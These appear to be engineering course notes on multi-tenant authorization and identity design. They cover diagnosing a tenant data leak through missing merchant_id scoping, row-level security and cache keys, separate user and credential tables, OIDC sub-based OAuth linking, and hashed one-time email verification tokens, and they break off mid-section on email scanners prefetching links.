Any cross-tenant operation must go through a service account
whose code has been reviewed.
# Support agents who need cross-tenant actions (e.g. dispute resolution):
# They do NOT get cross-tenant access.
# They file a ticket that triggers a service to do it on their behalf,
# with two-approver workflow and full audit trail.
Edge cases are where auth designs fail in production. Multi-tenant users need explicit switching,
not implicit cross-tenant sessions. Role revocation requires giving up some statelessness for instant
effect. Tenant deletion is staged because regulations conflict with user requests. Cross-tenant
operations are handled by service accounts, never human users.
🧠 Practical Engineering Problem
It's 2am Tuesday. PagerDuty: customer complaint -- Swiggy seeing other merchants' transaction
tags. Two more complaints come in. Different merchants, same issue. CPU normal. Memory normal.
Error rate 0%. Recent deploy yesterday: "feature: transaction tags." No alerts firing. Customers
seeing each other's data. This is the worst kind of bug -- silent, no errors, just wrong data returned.
What do you check first and how do you fix it?
The Diagnostic Approach
When tenant data leaks and there are no errors, the cause is almost always a missing tenant boundary
somewhere in the new code path. The recent deploy is the prime suspect. Walk through the layers
systematically.
=== Step 1: Check the new feature's schema ===
\d tags
Column
| Type
| Constraints
---------------+--------------+------------id
| BIGSERIAL
| PRIMARY KEY
transaction_id | BIGINT
| NOT NULL
tag
| VARCHAR(100) | NOT NULL
created_at
| TIMESTAMP
| DEFAULT NOW()
!! merchant_id column is MISSING.
Developer added tags feature, related each tag to a transaction.
Assumed "tags are scoped through their transaction."
But the query fetches tags directly without joining through transactions.
Without merchant_id, query returns tags from every merchant.
Root cause found.
=== Step 2: Check the actual query ===
API endpoint code:
SELECT id, tag FROM tags WHERE transaction_id = 42
Filters by transaction_id but not merchant_id.
Verify the leak by joining through transactions:
SELECT t.merchant_id, tags.tag
FROM tags
JOIN transactions t ON tags.transaction_id = t.id
WHERE tags.transaction_id = 42
merchant_id | tag
------------+-------------1 (swiggy) | premium
2 (zomato) | refunded
<- Zomato data leaking into Swiggy's view
Confirmed. Cross-tenant data leak.
=== Step 3: Check the cache layer ===
redis-cli KEYS "tags:*"
tags:tx_42
tags:tx_43
tags:tx_100
!! Cache keys don't include merchant_id either.
Cache key:
"tags:tx_42"
Cached value: ["premium", "refunded", "vip"]
<- mixed across tenants
When Swiggy's dashboard requests tags for tx_42, Redis returns
whatever was last written for that key -- regardless of which merchant.
Cache poisoning across tenants.
=== Step 4: Check Postgres RLS ===
SELECT relname, relrowsecurity
FROM pg_class
WHERE relname = 'tags';
relname | relrowsecurity
--------+--------------tags
| f
<- RLS disabled
!! No row-level security policy on tags.
Older tables (transactions, refunds, api_keys) have RLS.
The new tags table was added without RLS.
Application-layer protection (also missing) was the only line of defense.
It failed.
=== Step 5: Check ORM scoping ===
class TagRepository {
// NOT extending TenantScopedRepository base class
async getByTransactionId(transactionId) {
return db.query(
"SELECT * FROM tags WHERE transaction_id = ?",
[transactionId]
)
}
}
!! The new class bypassed the tenant-scoping pattern entirely.
Team has a TenantScopedRepository base class that auto-adds merchant_id
filter.
Every other repo extends it. The new TagRepository doesn't.
Developer wrote a fresh class and missed the convention.
The Full Picture
Five layers of defense exist in the system:
1. Schema design (merchant_id column)
2. Application query (WHERE merchant_id=?)
3. ORM scoping (TenantScopedRepository)
4. Postgres RLS (DB-level enforcement)
5. Cache isolation (merchant_id in key)
<- MISSING in tags
<- MISSING in tags repo
<- BYPASSED
<- NOT ENABLED
<- MISSING
When all five layers protect a table, a single bug doesn't cause a breach.
The team had this for older tables.
For the new tags table: all five failed simultaneously.
Developer mentally followed the "transactions table" pattern
but skipped every safeguard in implementation.
Result: silent breach. No errors. No alerts. Real customer data leaked.
The Fix — In Order
1. Stop the bleed immediately (within minutes):
- Set feature flag to disable tag display
- Flush Redis cache for tags
- Feature off. No more leaks. Time to fix properly.
2. Schema fix:
ALTER TABLE tags ADD COLUMN merchant_id BIGINT REFERENCES merchants(id);
Backfill from transactions:
UPDATE tags SET merchant_id = (
SELECT t.merchant_id FROM transactions t WHERE t.id =
tags.transaction_id
);
ALTER TABLE tags ALTER COLUMN merchant_id SET NOT NULL;
CREATE INDEX idx_tags_merchant ON tags(merchant_id, transaction_id);
3. Application fix:
Rewrite TagRepository to extend TenantScopedRepository.
Every query now automatically filtered by merchant_id.
4. Postgres RLS:
ALTER TABLE tags ENABLE ROW LEVEL SECURITY;
CREATE POLICY tenant_isolation ON tags
USING (merchant_id =
current_setting('app.current_merchant_id')::BIGINT);
5. Cache fix:
Change cache key format:
Before: "tags:tx_42"
After: "tags:1:tx_42"
<- include merchant_id
Invalidate all old cache entries.
6. Re-enable feature flag. Monitor.
7. Mandatory next steps (compliance):
- File internal incident report
- Identify affected merchants (audit logs)
- Notify affected merchants within 72 hours (GDPR requirement)
- File regulatory disclosure if required (RBI for fintech)
- Post-mortem with engineering team
- Add automated check: every new table must have merchant_id column
(CI test scans schema migrations)
The Lesson — Beyond This Specific Bug
The root cause was not one developer's oversight. It was that defense in depth had a single point of failure: the
developer's discipline to apply all five patterns to every new table. The systemic fix is to make the patterns
unforgettable through tooling.
Migration linter:
Reject any new table without merchant_id column
(unless explicitly marked non-tenant-scoped in a registry).
CI test:
For every table with merchant_id, verify RLS policy exists.
Repository base class:
TenantScopedRepository is the only way to query a tenant-scoped table.
Lint rule rejects direct db.query() on tenant tables.
Cache key linter:
Cache keys for tenant-scoped resources must include merchant_id.
Rejected at code review and CI.
# Mature multi-tenant systems do this.
# Patterns are not optional conventions -- they are enforced by tooling.
# A developer cannot accidentally skip them because the build fails if they
do.
One-Paragraph Summary
Multi-tenancy means one system serving many isolated customers, and the single hardest problem in its design
is making cross-tenant data access architecturally impossible rather than merely unlikely. Row-level isolation -- a
merchant_id integer foreign key on every table -- is the dominant approach at scale, but it carries real risk: a
single forgotten WHERE merchant_id = ? clause causes a silent breach with no errors logged. Defense in depth is
what makes it safe: application code uses ORM scoping that bakes the tenant filter into every query, Postgres
Row Level Security enforces the same boundary at the database layer so a bug becomes an empty result instead
of a breach, and Redis cache keys always include the tenant ID. The tenant context itself -- the merchantId -must always originate in the validated JWT, flow through gateway-injected headers, and never come from
client-supplied request parameters. Role design needs two layers: three platform-defined system roles
(super_admin, support_agent, merchant_admin) that exist above tenant boundaries, and tenant roles that each
customer defines independently within their own namespace. Every API request flows through five checks in this
order -- authenticate the JWT, extract tenant context, authorise by role permission, verify the data belongs to the
tenant (the step most commonly skipped and the root cause of IDOR vulnerabilities), then execute business
logic. Super-admin access is gated by short-lived ticket-scoped JWTs and produces immutable audit logs enforced
at the Postgres role level via INSERT-only writers and SELECT-only readers, with UPDATE and DELETE revoked
from everyone -- making the audit log structurally tamper-proof rather than tamper-discouraged. Edge cases
reveal where naive designs fail in production: users belonging to multiple tenants need explicit session switching
rather than implicit cross-tenant sessions; role revocation forces trading some JWT statelessness for instant
effect via cache invalidation or token versioning; tenant deletion is always staged because GDPR erasure rights
conflict with financial regulators requiring seven-year retention; and cross-tenant operations like payment
settlement run under short-lived service JWTs that have no merchantId field by design, because no human user
is ever permitted cross-tenant write access. The deepest insight is that multi-tenant authorization is not one
design decision but the cumulative discipline of applying schema, ORM, RLS, cache, and audit patterns to every
new table without exception -- which is why mature systems enforce them via tooling (schema linters, RLS
verification in CI, repository base classes, cache key validation) rather than developer discipline alone.
Topic 4.12a — Identity Architecture, Signup & Email Verification
[ TOPIC QUICK REFERENCE ]
Core problem
: Identity (who you are) != Credential (how you prove it)
Key tables
: users, auth_credentials, email_verifications
Signup flow
: INSERT users -> INSERT auth_credentials -> send
verification email
Verification
: SecureRandom token -> email link -> one-time-use -> mark
verified
OAuth signup
: check users.email first -> link credential, never duplicate
identity
Critical rule : one user_id per human, forever -- credentials are
replaceable
The Story
Day 1 at Razorpay. The ticket reads: "Build signup. Email + password. Google login also needed." Sounds simple.
One users table, name, email, password hash. Shipped.
Three months later, support gets flooded. User logged in with Google, can't find their account — tried password
login and it says email already exists. Two separate accounts for one human. Then: deleted password and Google
login stopped working too. Then: added GitHub login and now there are three accounts. Every bug has the same
root cause: identity and credentials were modelled as one thing when they are two fundamentally different
things.
Identity vs Credential — The Core Distinction
Think of it like a government ID system. Your identity is your Aadhaar number — it exists once, never changes, it
is you. Your credentials are how you prove it: a password is like a PIN, Google login is like a biometric, an OTP is
like a one-time challenge. You can have multiple credentials. Losing one does not delete your identity. Adding a
new one does not create a new identity.
users table
auth_credentials
<- the human. exists once. never duplicated.
<- how they prove it. one row per login method.
One user. Many possible credentials. Always separate tables.
This separation directly prevents the three bugs from the story:
Bug 1 — Two accounts after Google login:
Naive design (single table):
Google signup
-> INSERT users (email, google_id)
Password signup -> INSERT users (email, password_hash)
Result: duplicate identity. Two accounts.
<- row 1
<- row 2
Correct design (split tables):
Google signup
-> INSERT users (user_id=1, email)
-> INSERT auth_credentials (user_id=1, provider=google)
Password signup -> email already in users -> LINK, do not insert new
user
-> INSERT auth_credentials (user_id=1,
provider=password)
Result: one identity, two credentials. No duplicate.
Bug 2 -- Deleting password broke Google login:
Naive design: one row has both password_hash AND google_id columns
DELETE password -> nulls out or deletes entire row
Google login
-> row gone. Login broken.
Correct design: separate rows in auth_credentials
DELETE credential WHERE provider=password -> only that row deleted
Google credential row untouched. Login still works.
Bug 3 -- GitHub login created a third account:
Naive design: each OAuth path does INSERT into users unconditionally
Result: third row created for same human.
Correct design: on any OAuth signup, check users.email first
Found
-> INSERT auth_credentials, link to existing user_id
Not found -> INSERT users first, then INSERT auth_credentials
The Three-Layer Model
Every production identity system has exactly three layers. They map to three different concerns and three
different table groups.
+------------------------------------------------------------------+
| LAYER 1 -- WHO ARE YOU? (Identity)
|
| The human. One row per person. Never duplicated.
|
|
|
| Table: users
|
| Owns: user_id, email, display_name, status, created_at
|
+------------------------------------------------------------------+
| LAYER 2 -- HOW DO YOU PROVE IT? (Authentication/Credentials) |
| One row per login method per user.
|
|
|
| Table: auth_credentials
|
| Owns: credential_id, user_id (FK), provider,
|
|
provider_user_id, password_hash, created_at
|
+------------------------------------------------------------------+
| LAYER 3 -- WHAT CAN YOU DO? (Authorization)
|
| Roles, permissions, tenant membership.
|
| Covered in Topics 4.8-4.11.
|
|
|
| Tables: user_roles, tenant_members, permissions
|
+------------------------------------------------------------------+
Layer 1 and Layer 2 are what 4.12a builds.
Layer 3 is already covered.
Identity answers "who are you." Credentials answer "prove it." They change at different rates, for
different reasons, by different actors — so they live in different tables. This is the single most
important schema decision in any auth system.
The Schema — Three Tables
The three-layer model maps directly to three tables. Every column in each table is a deliberate decision —
nothing is accidental.
Table 1 — users
CREATE TABLE users (
user_id
BIGSERIAL PRIMARY KEY,
email
VARCHAR(255) NOT NULL UNIQUE,
display_name VARCHAR(100),
status
VARCHAR(20) NOT NULL DEFAULT 'unverified',
created_at
TIMESTAMPTZ NOT NULL DEFAULT now(),
updated_at
TIMESTAMPTZ NOT NULL DEFAULT now()
);
user_id — BIGSERIAL, not UUID
BIGSERIAL is an 8-byte auto-incrementing integer. UUID is a 16-byte random string. This difference matters at
scale because user_id appears as a foreign key in every related table — auth_credentials, user_roles, orders,
sessions. Every one of those rows pays the storage cost of this choice.
Storage per FK value:
BIGSERIAL -> 8 bytes
UUID
-> 16 bytes
(2x bigger)
At 100 million rows in auth_credentials:
BIGSERIAL -> 800 MB for the user_id column alone
UUID
-> 1.6 GB for the user_id column alone
B-tree index behaviour:
BIGSERIAL -> sequential inserts (1, 2, 3...)
new row always appends to end of B-tree
that page is hot in memory -> fast, low I/O
UUID
->
random value each insert
can land anywhere in the B-tree
Postgres fetches a cold page from disk each time
-> random I/O, index bloat at scale
Use UUID when IDs must be globally unique across independent databases (e.g. microservices that sync data
between them). For a single Postgres instance, BIGSERIAL wins on every metric.
email — NOT NULL UNIQUE
Email is the single field that lets the system decide: is this person already registered? When someone signs up
with Google, their email goes into this column. When the same person later tries to sign up with a password, the
system checks this column first — finds the row — and links a new credential instead of creating a second
account. That is what makes email the identity anchor: it is the one stable lookup key that ties all login methods
to one human.
Google signup (ayush@gmail.com) ->
<- row created
Password signup (ayush@gmail.com) ->
<- found
->
credential
INSERT users (email=ayush@gmail.com)
SELECT * FROM users WHERE email=?
do NOT insert again, just add
The UNIQUE constraint enforces this at the DB level — not just in application code. A race condition where two
signup requests arrive simultaneously for the same email will result in one INSERT succeeding and one getting a
unique constraint violation. The application catches that violation and treats it as "already registered."
Edge case: some OAuth providers (older GitHub accounts, some Apple logins) can return a login without an
email. If you make email nullable to support these, you lose this deduplication mechanism entirely — there is no
longer a single field to check for "already registered." You would need a fallback strategy: ask the user to enter
their email post-OAuth, or use the provider's stable user ID as the primary anchor. Most fintech systems
(Razorpay, PhonePe) simply require email and reject email-less OAuth.
status — NOT NULL DEFAULT unverified
A user row is created the moment someone submits the signup form — before they verify their email. Status
tracks the account lifecycle and gates what the user can do at each stage.
'unverified'
->
row exists, email not yet confirmed
cannot make payments, cannot access sensitive features
'active'
->
email verified, fully operational account
'suspended'
->
admin action (fraud detection, support hold)
can log in but blocked from transactions
'deleted'
->
soft delete -- row kept for audit trail
hard delete risks orphaned FKs and lost history
Why not a boolean is_verified? Because the lifecycle has more than two states. A boolean would need a second
boolean for is_suspended, a third for is_deleted. One status column handles the full lifecycle cleanly.
display_name — nullable
OAuth signups receive this from the provider (Google returns the user's full name). Password signups may not
provide it at signup time. Nullable avoids forcing a name field that may be empty or unknown at account
creation.
Table 2 — auth_credentials
CREATE TABLE auth_credentials (
credential_id
user_id
provider
provider_user_id
password_hash
created_at
updated_at
BIGSERIAL
PRIMARY KEY,
BIGINT
NOT NULL REFERENCES users(user_id),
VARCHAR(30) NOT NULL,
VARCHAR(255),
VARCHAR(255),
TIMESTAMPTZ NOT NULL DEFAULT now(),
TIMESTAMPTZ NOT NULL DEFAULT now(),
UNIQUE (provider, provider_user_id)
);
provider — VARCHAR(30)
Allowed values: 'password', 'google', 'github', 'totp'
Why not a Postgres ENUM? ENUMs require an ALTER TYPE migration every time you add a new provider.
VARCHAR with application-level validation is easier to extend — a new provider means deploying code, not
running a DB migration.
provider_user_id — VARCHAR(255), nullable
This is the sub claim from the OIDC ID Token covered in Topic 4.6. When Google completes OAuth2 + OIDC login,
it returns an ID Token — a JWT. Decoding its payload gives:
{
"iss": "https://accounts.google.com",
"sub": "109783456123",
<-- this is provider_user_id
"email": "ayush@gmail.com",
"name": "Ayush Sharma",
"iat": 1700000000,
"exp": 1700003600
}
sub stands for subject — the OIDC spec's term for "the user this token is about." Google assigns every Google
account a unique sub value that never changes, even if the user changes their Gmail address, name, or profile
picture.
A common mistake is to use email as the OAuth lookup key instead of sub. This breaks the moment a user
changes their Gmail address:
Naive approach — lookup by email:
Google login -> extract email from ID token
-> SELECT * FROM users WHERE email = ?
Problem: user changes Gmail from ayush@gmail.com to ayush.sharma@gmail.com
Google now sends new email in ID token
Lookup finds nothing -> new user row created
->
duplicate account
Correct approach -- lookup by sub:
Google login -> extract sub from ID token
-> SELECT * FROM auth_credentials
WHERE provider = 'google'
AND provider_user_id = '109783456123'
sub never changes
->
always finds the right row
->
no duplicate
provider_user_id per provider:
Google provider
-> sub from ID token (e.g. "109783456123")
Password provider -> NULL (no external system, no external ID)
UNIQUE(provider, provider_user_id):
Prevents the same Google account linking to two different Razorpay users.
Without this constraint, one Google account could own two identities.
password_hash — VARCHAR(255), nullable
OAuth rows
->
Password rows ->
NULL, no password exists
bcrypt output, e.g. "$2a$12$..."
Why bcrypt and not SHA256? SHA256 is a fast hash — an attacker with a leaked DB can try billions of SHA256
guesses per second on commodity hardware. bcrypt is deliberately slow. The cost factor (the 12 in $2a$12$)
means each guess takes ~100ms. The same brute-force attack that takes minutes against SHA256 takes centuries
against bcrypt. Never store plain text. Never store SHA256 of a password. Always bcrypt.
Why not store the OAuth access token?
OAuth access tokens expire in ~1 hour.
Storing them: pointless (expired before next login)
+ security liability (leaked DB exposes still-valid tokens).
What you actually need: provider_user_id (the sub claim) -- stable, never
expires.
On every OAuth login, here is exactly what happens:
Step 1 -- Exchange the authorization code for tokens:
POST https://oauth2.googleapis.com/token
grant_type=authorization_code
code=<authorization_code from callback>
redirect_uri=https://razorpay.com/auth/callback
client_id=<your_google_client_id>
client_secret=<your_google_client_secret>
Google responds:
{
"access_token": "ya29.a0AfH...",
needed here)
"id_token":
"eyJhbGci...",
"expires_in":
3599
}
<- lets you call Google APIs (not
<- JWT containing user identity
Step 2 -- Verify the id_token signature BEFORE reading anything:
a. Base64url decode the JWT header (no verification yet):
{ "alg": "RS256", "kid": "key-id-2024-03" }
kid tells you which Google public key signed this token.
b. Fetch Google's public keys (cached, refresh on cache miss):
GET https://accounts.google.com/.well-known/jwks.json
Find the key whose "kid" matches the header kid.
c. RSA_verify(id_token, matched_google_public_key)
Valid
-> proceed to Step 3
Invalid -> reject immediately, do not read payload
Why verify before reading?
The payload is just base64 encoded -- anyone can forge a payload.
Signature verification proves Google signed it. Nothing else does.
Step 3 -- Decode the payload (only after signature passes):
{
"iss":
"https://accounts.google.com", <- issuer
"aud":
"your_client_id",
<- audience: YOUR app
"sub":
"109783456123",
<- provider_user_id, never
changes
"email": "ayush@gmail.com",
<- display only, may change
"name": "Ayush Sharma",
<- display_name
"iat":
1700000000,
<- issued at
"exp":
1700003600
<- expires in 1 hour
}
Step 4 -- Validate four claims:
iss == "https://accounts.google.com"
issuer
aud == your_client_id
exp > now()
iat not too far in the past
<- must be Google, not any other
<- must be YOUR app
<- token not expired
<- optional, good practice
Why check aud?
An attacker could take a valid Google ID token issued for a different app
and replay it at your server. The signature would pass -- Google did sign
it.
Checking aud ensures the token was issued specifically for your
application.
Step 5 -- Extract sub and run the decision tree:
sub
= payload["sub"]
// "109783456123" -> provider_user_id
email
= payload["email"] // display only, used for users.email
displayName = payload["name"]
// for users.display_name
SELECT * FROM auth_credentials
WHERE provider = 'google'
AND provider_user_id = sub
Found
-> returning user, issue session
Not found -> new signup or email collision (see decision tree)
sub is the only field guaranteed stable across all Google account changes. Even if the user changes their Gmail
address, name, or profile picture, sub remains the same permanent identifier. email is extracted only to populate
users.email on first signup and for display — it is never used as the lookup key for OAuth users.
Table 3 — email_verifications
CREATE TABLE email_verifications (
id
BIGSERIAL
PRIMARY KEY,
user_id
BIGINT
NOT NULL REFERENCES users(user_id),
token_hash VARCHAR(255) NOT NULL UNIQUE,
expires_at TIMESTAMPTZ NOT NULL,
used_at
TIMESTAMPTZ,
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
Why a separate table — not columns on users?
If verification lived as columns on users — say verification_token and token_expires_at — a resend request
would overwrite the old token. The old token is gone: no audit trail, and if the first email was delayed in transit
and arrives after the resend, clicking it silently fails with no explanation.
With a separate table, each resend is a new row. Old rows are never deleted — they stay for the audit trail. Each
row has its own expiry and used_at. Support can see exactly: "three tokens were issued, the second was used at
14:32."
token_hash — SHA256 of the raw token, never the raw token itself
Generation:
raw_token = SecureRandom.hex(32)
<- 64 hex chars, 256 bits of
randomness
token_hash = SHA256(raw_token)
<- stored in DB
email link = https://razorpay.com/verify?token=raw_token <- sent to user
Verification (user clicks the link):
incoming
= request.param("token")
hash
= SHA256(incoming)
SELECT * FROM email_verifications
WHERE token_hash = hash
AND used_at IS NULL
AND expires_at > now()
Found -> valid. Mark used_at = now(). Set users.status = 'active'.
Not found -> expired, already used, or tampered. Reject.
Storing SHA256(raw_token) instead of raw_token itself is a deliberate security decision. The guarantee required
is: what is stored in the DB must be different from what travels in the email link, related by a one-way function.
Only then does a DB compromise not directly yield usable tokens.
Security model:
Email carries: raw_token
<- call this X
DB stores:
SHA256(raw_token)
<- call this f(X)
Server verifies: SHA256(incoming) == stored
If DB is compromised:
Attacker gets f(X) for all unclicked tokens.
SHA256 is one-way -- cannot reverse f(X) to recover X.
Cannot craft a valid verification link.
Unclicked tokens are useless to the attacker.
What if token_hash traveled in the email instead of raw_token?
Email carries: SHA256(raw_token) (= f(X))
DB stores:
SHA256(raw_token) (= f(X))
They are identical -- X and f(X) have collapsed to the same value.
If DB is compromised:
Attacker gets token_hash directly from DB.
Hits: GET /auth/verify?token=<token_hash>
Server queries: WHERE token_hash = incoming <- exact match
Token accepted. Account verified. Attacker in.
The entire DB compromise protection is gone.
The security guarantee holds only when email carries X and DB stores f(X).
Sending f(X) in the email collapses this and destroys the protection
entirely.
Why SHA256 and not bcrypt here? The token is already 256 bits of cryptographic randomness — there is nothing
to brute-force. An attacker cannot guess a 256-bit random value even with infinite compute. bcrypt's deliberate
slowness exists specifically to resist brute-force of human-chosen passwords, which are short and guessable.
Tokens are neither. SHA256 is sufficient.
used_at — mark on use, never delete
On successful verification:
UPDATE email_verifications SET used_at = now() WHERE id = ?
UPDATE users SET status = 'active' WHERE user_id = ?
Lookup always checks:
WHERE token_hash = ? AND used_at IS NULL AND expires_at > now()
Never delete verified rows.
Audit trail: support can resolve disputes by seeing exactly when
a token was issued, when it was used, and from which request.
Always store and look up OAuth users by sub (provider_user_id), never by email. sub is assigned by
the provider and never changes. Email is user-controlled and can change at any time. Lookup by
email means one Gmail address change silently creates a duplicate account.
The Signup Flow
The Broken Design
Most day-one implementations look like this:
POST /auth/signup
1. SELECT * FROM users WHERE email = ?
2. If not found -> INSERT users (email, password_hash, status='active')
3. Return 200 OK
Three things are wrong with this. Each one causes a real production bug.
Break 1 — Race condition on duplicate check. The SELECT + INSERT are two separate operations with no
atomicity between them. Two concurrent signup requests for the same email both pass the SELECT check before
either INSERT completes:
Thread A (ayush@gmail.com):
SELECT * FROM users WHERE email=?
Thread B (ayush@gmail.com):
SELECT * FROM users WHERE email=?
-> not found
-> not found
INSERT users (ayush@gmail.com)
INSERT users (ayush@gmail.com)
-> success
-> success
<- DUPLICATE ROW
The fix is not a smarter SELECT — it is a UNIQUE constraint on users.email at the DB level. The second INSERT
throws a constraint violation. The application catches it and returns 409 Already Registered. No SELECT needed
at all — just try the INSERT and handle the exception.
Break 2 — status set to active immediately. Marking the account active before email verification means anyone
can sign up as ceo@razorpay.com, get an active account instantly, and operate as a verified user — while the real
owner of that email never sees the signup. The correct default is unverified. The account stays locked until the
user proves they own the email address by clicking the verification link.
Break 3 — no separation between signup and verification. Collapsing both into one step makes resend
impossible, makes partial failures unrecoverable, and loses the audit trail entirely. Signup and verification are two
separate events at two separate times — they must be two separate operations with their own tables and APIs.
The Correct Signup Flow — Actor by Actor
Client
API Server
Database
Email Service
|
|
|
|
| POST /auth/signup|
|
|
| {email, password}|
|
|
|----------------->|
|
|
|
| 1. validate input
|
|
|
|
email format?
|
|
|
|
password length?
|
|
|
|
|
|
|
| 2. BEGIN TX
|
|
|
|
INSERT users
|
|
|
|
(email,
|
|
|
|
status=unverified) |
|
|
|--------------------->||
|
|
|
|| UNIQUE hit?
|
|
|
|| -> ROLLBACK
|
|
|
|| -> 409 Conflict
|
|
|
INSERT
|
|
|
|
auth_credentials
|
|
|
|
(user_id,
|
|
|
|
provider=password, |
|
|
|
password_hash=
|
|
|
|
bcrypt(pwd))
|
|
|
|--------------------->|
|
|
|
COMMIT TX
|
|
|
|
|
|
|
| 3. raw=SecureRandom
|
|
|
|
INSERT
|
|
|
|
email_verifications|
|
|
|
(token_hash,
|
|
|
|
expires_at=+24h)
|
|
|
|--------------------->|
|
|
|
|
|
|
| 4. publish event
|
|
|
|
{user_id, email,
|
|
|
|
raw_token}
|
|
|
|---------------------------------->|
|
|
|
|
| send
|
|
|
|
| 5. return 201
|<-----------------|
| {message:
|
| "check email"} |
|
|
|
|
|
| email
|
|
|
|
|
Step 1 — Input Validation
Validate before touching the DB:
email
-> valid format (RFC 5322), max 255 chars
password -> min 8 chars, at least one number or symbol
Note: do not over-engineer complexity rules.
"correct horse battery staple" is a strong password but fails most
complexity checks.
"P@ssw0rd1" is weak but passes them. Length beats complexity.
Reject early. Never hit the DB with invalid input.
Step 2 — Single Transaction for users + auth_credentials
BEGIN TRANSACTION
INSERT INTO users (email, status)
VALUES (?, 'unverified')
RETURNING user_id;
-- capture returned user_id for next INSERT
-- UNIQUE constraint fires if email exists -> catch, return 409 Conflict
INSERT INTO auth_credentials (user_id, provider, password_hash)
VALUES (returned_user_id, 'password', bcrypt(raw_password))
COMMIT
Why one transaction? If the users INSERT succeeds but auth_credentials INSERT fails (disk error, network blip,
anything), the user exists in the system but has no way to authenticate. They are permanently stuck — cannot
log in, cannot re-register (email already taken). One transaction means either both rows land or neither does.
The user never ends up in a broken half-created state.
Step 3 — Generate Verification Token (outside the transaction)
raw_token = SecureRandom.hex(32)
random
token_hash = SHA256(raw_token)
<- 256 bits, cryptographically
INSERT INTO email_verifications (user_id, token_hash, expires_at)
VALUES (user_id, token_hash, now() + interval '24 hours')
Why outside the main transaction? The verification token is not part of core identity creation. If this INSERT fails,
the user can request a resend — nothing is broken. Keeping it separate means a token generation failure does
not roll back the account creation. The user exists; they just need to trigger a resend.
Step 4 — Dispatch Email Asynchronously
Do NOT send email inline in the API request.
Publish event to queue:
{ user_id, email, raw_token }
Email service consumes event and sends:
Subject: Verify your Razorpay account
Body:
Click to verify: https://razorpay.com/verify?token=<raw_token>
This link expires in 24 hours.
raw_token travels in the email link -- never token_hash.
The server hashes the incoming token on verification and compares.
Why async? Sending email inline means API response time depends on your email provider's latency. If SendGrid
is slow or down, your signup API times out and the user sees an error — even though their account was created
successfully. The queue decouples them: signup returns instantly, email delivers eventually.
Security note on the queue: the raw_token exists in the queue message in plain form. If the queue is
compromised, an attacker has valid unclicked tokens and can verify any account without the user ever clicking
their link. The queue must be treated as sensitive infrastructure — the same access controls, encryption at rest,
and audit logging as the database itself. This is acceptable for internal systems where the queue is trusted and
access-controlled. For higher-security environments, encrypt the token inside the queue message using a key
that only the email service holds.
Step 5 — Return 201, Handle Duplicates Carefully
Success:
HTTP 201 Created
{ "message": "Account created. Check your email to verify." }
Email already registered:
HTTP 409 Conflict
{ "error": "An account with this email already exists." }
Nuance: some consumer apps return 200 even for duplicates to avoid
leaking whether an email is registered (privacy / enumeration attack).
Fintech B2B products (Razorpay) return 409 directly -- merchants
know their own email and expect a clear error.
DB State After Signup — Exactly
users:
user_id
1
email
ayush@gmail.com
auth_credentials:
credential_id user_id
1
1
status
unverified
provider
password
email_verifications:
id user_id token_hash
1
1
SHA256(tok)
created_at
2024-06-13 10:00:00
password_hash
$2a$12$abc...
expires_at
2024-06-14 10:00:00
provider_user_id
NULL
used_at
NULL
Three rows across three tables.
User cannot log in yet -- status is unverified.
The only thing that changes this: clicking the verification link.
Signup creates the identity (users row) and the credential (auth_credentials row) in a single
transaction — so partial failure is impossible. The verification token is generated separately so a
token failure never rolls back account creation. Email is sent asynchronously so provider latency
never blocks the API response.
Email Verification Deep Dive
DB State Before Verification
After signup completes, the database looks exactly like this. The user exists but cannot log in — status is
unverified. The verification token is live, unused, and expires in 24 hours.
users:
user_id
1
email
ayush@gmail.com
auth_credentials:
credential_id user_id
1
1
display_name
NULL
provider
password
email_verifications:
id user_id token_hash
1
1
SHA256(tok)
status
unverified
password_hash
$2a$12$abc...
expires_at
2024-06-14 10:00:00
created_at
2024-06-13 10:00:00
provider_user_id
NULL
used_at
NULL
The user has received an email with a link: https://razorpay.com/verify?token=<raw_token>. raw_token is the
256-bit random value generated at signup. token_hash = SHA256(raw_token) is what the DB stores. The raw
token never touches the DB — only its hash does.
The Verification Flow — Actor by Actor
Client
API Server
Database
|
|
|
| GET /auth/verify
|
|
| ?token=<raw_token>
|
|
|------------------------->|
|
|
| 1. hash = SHA256(raw_token) |
|
|
|
|
| 2. SELECT id, user_id,
|
|
|
expires_at, used_at
|
|
|
FROM email_verifications |
|
|
WHERE token_hash = hash |
|
|
AND used_at IS NULL
|
|
|
AND expires_at > now()
|
|
|---------------------------->|
|
|
|
|
|
row returned?
|
|
|
No -> 400 Bad Request
|
|
|
(expired/used/tampered) |
|
|
|
|
| 3. BEGIN TX
|
|
|
UPDATE
|
|
|
email_verifications
|
|
|
SET used_at = now()
|
|
|
WHERE id = ?
|
|
|---------------------------->|
|
|
UPDATE users
|
|
|
SET status = active
|
|
|
WHERE user_id = ?
|
|
|---------------------------->|
|
|
COMMIT TX
|
|
|
|
|
| 4. return 200
|
|<-------------------------|
|
| { "message": "Email
|
|
|
verified. Log in." }
|
|
Step 1 — Hash the Incoming Token Immediately
raw_token = request.param("token")
hash
= SHA256(raw_token)
Never query the DB with the raw token.
The DB stores only token_hash. raw_token never touches the DB at any point.
Hashing first means a compromised DB log or slow-query log
never leaks a usable token.
Step 2 — Single Query, Three Conditions, Returns user_id
The verification endpoint receives only the token — no user_id, no email. It does not need them. The
email_verifications row was written at signup time with user_id as a column. So the same query that validates
the token also returns the user_id in the result set. One query does both jobs.
SELECT id, user_id, expires_at, used_at
FROM email_verifications
WHERE token_hash = ?
-- correct token
AND used_at IS NULL
-- not already consumed
AND expires_at > now()
-- not expired
Row returned -> valid. Extract user_id from this row.
No row
-> invalid. One of the three conditions failed.
Never tell the user which condition failed.
"Invalid or expired link" covers all cases.
Telling an attacker "this token is expired but real" leaks information.
Why not store only the token and look up user_id separately? Because that would require a second query: first
find the token, then find the user. Storing user_id directly in email_verifications collapses this into one round
trip. The token row already knows who it belongs to — that is by design.
Step 3 — Two Updates in One Transaction
BEGIN TRANSACTION
UPDATE email_verifications
SET used_at = now()
WHERE id = ?
UPDATE users
SET status = 'active'
WHERE user_id = ?
COMMIT
-- mark token consumed
-- activate the account
Why one transaction? Consider what happens if they are separate. used_at is set, then the server crashes before
updating users.status. The token is now consumed — it fails the used_at IS NULL check forever. But the account
is still unverified. The user is permanently stuck: token is spent, account never activates, resend generates a new
token but the account is still frozen. One transaction means both updates land together or neither does.
Production Risk — Email Security Scanners
There is a silent failure mode in production that breaks GET-based verification. Email security scanners — built
into Gmail, Outlook, and corporate mail gateways — automatically pre-fetch every link in an incoming email to
check for malware and phishing. They do this before the user ever opens the email.
Timeline without the fix:
10:00:00
10:00:01
10:05:00
